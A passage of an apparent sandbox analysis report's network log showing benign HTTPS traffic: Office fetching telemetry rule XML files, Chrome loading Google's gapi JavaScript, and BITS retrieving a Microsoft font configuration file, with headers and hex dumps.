R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.5	49742	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:21 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:22 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:22 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 6484a1a6-201e-0000-75a3-26a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165422Z-16849878b78j5kdg3dndgqw0vg00000005d000000000kgy1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:22 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.5	49745	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:22 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:22 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:22 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 78a5d0bc-501e-005b-6da6-26d7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165422Z-16849878b78hh85qc40uyr8sc8000000040g00000000g5ku x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:22 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49747	142.250.181.238	443	380	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:22 UTC	741	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-27 16:54:22 UTC	916	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117949 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Thu, 24 Oct 2024 07:13:26 GMT Expires: Fri, 24 Oct 2025 07:13:26 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 10 Oct 2024 19:55:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 294056 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-27 16:54:22 UTC	462	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 38 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 64 61 2c 65 61 2c 68 61 2c 6e 61 2c 6f 61 2c 73 61 2c 74 61 2c 77 61 3b 64 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);var da,ea,ha,na,oa,sa,ta,wa;da=fun
2024-10-27 16:54:22 UTC	1378	IN	Data Raw: 6f 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 Data Ascii: ototype)return a;a[b]=c.value;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)ret
2024-10-27 16:54:22 UTC	1378	IN	Data Raw: 76 61 72 20 62 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 64 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 74 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 Data Ascii: var b=typeof Symbol!="undefined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:da(a)};throw Error("b`"+String(a));};sa=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};ta=typeof Object.a
2024-10-27 16:54:22 UTC	1378	IN	Data Raw: 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 46 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 4e 72 3d 5b 5d 3b 74 68 69 73 2e 68 56 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 53 64 61 29 2c 72 65 6a 65 63 Data Ascii: =function(h){this.Fa=0;this.wf=void 0;this.Nr=[];this.hV=!1;var k=this.jF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.jF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Sda),rejec
2024-10-27 16:54:22 UTC	1378	IN	Data Raw: 2e 70 72 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 47 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4e 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4e 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 58 4f 28 74 68 69 73 2e 4e 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4e 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 68 2e 69 79 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 66 61 3d 66 75 6e Data Ascii: .promise=this;h.reason=this.wf;return l(h)};e.prototype.G7=function(){if(this.Nr!=null){for(var h=0;h<this.Nr.length;++h)f.XO(this.Nr[h]);this.Nr=null}};var f=new b;e.prototype.yfa=function(h){var k=this.jF();h.iy(k.resolve,k.reject)};e.prototype.zfa=fun
2024-10-27 16:54:22 UTC	1378	IN	Data Raw: 72 6f 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 45 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 Data Ascii: ror("First argument to String.prototype."+c+" must not be a regular expression");return a+""};na("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ea(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));f
2024-10-27 16:54:22 UTC	1378	IN	Data Raw: 61 72 20 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 47 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 72 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 73 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 Data Ascii: ar h=0,k=function(l){this.Ga=(h+=Math.random()+1).toString();if(l){l=_.ra(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!sa(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return
2024-10-27 16:54:22 UTC	1378	IN	Data Raw: 74 65 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 52 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 52 6b 3d 0a 6b 2e 5a 65 2e 52 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 52 6b 3d 66 28 29 3b 74 68 69 Data Ascii: te=function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Rk.next=k.Ze.next,k.Ze.next.Rk=k.Ze.Rk,k.Ze.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Rk=f();thi
2024-10-27 16:54:22 UTC	1378	IN	Data Raw: 79 70 65 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 72 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 Data Ascii: ype.entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ra([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)
2024-10-27 16:54:22 UTC	1378	IN	Data Raw: 62 2b 39 32 31 36 7d 7d 7d 29 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 22 22 2c 64 3d 30 3b 64 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 Data Ascii: b+9216}}});na("String.fromCodePoint",function(a){return a?a:function(b){for(var c="",d=0;d<arguments.length;d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49749	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:22 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-27 16:54:22 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=244877 Date: Sun, 27 Oct 2024 16:54:22 GMT Content-Length: 55 Connection: close X-CID: 2
2024-10-27 16:54:22 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.5	49750	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:22 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:22 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:22 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: cfe50472-201e-00aa-2cfd-263928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165422Z-r197bdfb6b46kmj4701qkq602400000002w0000000004yax x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:22 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.5	49751	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:22 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:22 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:22 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 1cb97257-a01e-0070-50f3-24573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165422Z-15b8d89586fqj7k5h9gbd8vs9800000004z0000000005tuk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:22 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.5	49753	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:22 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
